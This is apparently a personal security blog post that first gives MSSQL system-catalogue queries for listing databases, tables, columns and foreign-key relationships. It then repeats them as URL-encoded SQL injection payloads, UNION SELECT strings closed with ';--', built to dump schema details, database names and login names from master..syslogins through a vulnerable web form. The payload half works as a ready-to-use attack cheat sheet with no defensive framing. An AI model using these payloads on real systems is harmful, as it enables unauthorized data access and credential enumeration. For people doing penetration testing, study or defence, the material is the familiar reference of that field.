JF's security (and other things) log

Use the following SQL queries to get information about a MSSQL database:

List of databases on the server

    USE MASTER

    SELECT dbid, name
    FROM SYSDATABASES

List all the tables in a database

    USE 

    SELECT id, name
    FROM SYSOBJECTS
    WHERE xtype = 'U'

List of all columns in the system

>

    SELECT tab.id, tab.name,
    col.colid, col.name,
    col.type, typ.name, col.length,col.isnullable
    FROM SYSCOLUMNS col

    INNER JOIN SYSOBJECTS tab
    ON col.id = tab.id
    AND tab.xtype = 'U'

    INNER JOIN SYSTYPES typ
    ON col.type = typ.type
    AND col.xtype = typ.xtype
    and col.xusertype = typ.xusertype

List of all relationships in the system

    USE 

    SELECT DISTINCT
    RO.name,
    RCOL.name,
    FO.name,
    FCOL.name

    FROM SYSFOREIGNKEYS FK

    INNER JOIN SYSCOLUMNS FCOL
    ON FK.fkeyid = FCOL.id
    AND FK.fkey = FCOL.colid

    INNER JOIN SYSCOLUMNS RCOL
    ON FK.rkeyid = RCOL.id
    AND FK.rkey = RCOL.colid

    INNER JOIN SYSOBJECTS FO
    ON FK.fkeyid = FO.id

    INNER JOIN SYSOBJECTS RO
    ON FK.rkeyid = RO.id

List of all Database Types

    FROM SYSTYPES

Or as SQLi queries for queries requiring 4 return values with the second being a string:

relations:

%27)%20UNION%20SELECT%20DISTINCT%201,RO.name%2B%27.%27%2BRCOL.name%2B%27-%3E%27%2BFO.name%2B%27.%27%2BFCOL.name,3,4%20FROM%20SYSFOREIGNKEYS%20FK%20INNER%20JOIN%20SYSCOLUMNS%20FCOL%20ON%20FK.fkeyid%20=%20FCOL.id%20AND%20FK.fkey%20=%20FCOL.colid%20INNER%20JOIN%20SYSCOLUMNS%20RCOL%20ON%20FK.rkeyid%20=%20RCOL.id%20AND%20FK.rkey%20=%20RCOL.colid%20INNER%20JOIN%20SYSOBJECTS%20FO%20ON%20FK.fkeyid%20=%20FO.id%20INNER%20JOIN%20SYSOBJECTS%20RO%20ON%20FK.rkeyid%20=%20RO.id;--

columns:

%27)%20union%20SELECT%201%20,%20tab.name%2b%27,%27%2bcol.name%2b%27,%27%2btyp.name,%202,%203%20FROM%20SYSCOLUMNS%20col%20INNER%20JOIN%20SYSOBJECTS%20tab%20ON%20col.id%20=%20tab.id%20AND%20tab.xtype%20=%20%27U%27%20INNER%20JOIN%20SYSTYPES%20typ%20ON%20col.type%20=%20typ.type%20AND%20col.xtype%20=%20typ.xtype%20and%20col.xusertype%20=%20typ.xusertype;--

databases:

%27)%20union%20SELECT%20dbid,name,3,4%20FROM%20master..SYSDATABASES--

objects:

%27)%20union%20SELECT%20id,name,3,4%20FROM%20SYSOBJECTS%20WHERE%20xtype%20=%20%27U%27;--

logins:

%27)%20union%20SELECT%201,name+fullname,3,4%20FROM%20master..syslogins;--
%27)%20union%20SELECT%201,name,3,4%20FROM%20master..syslogins;--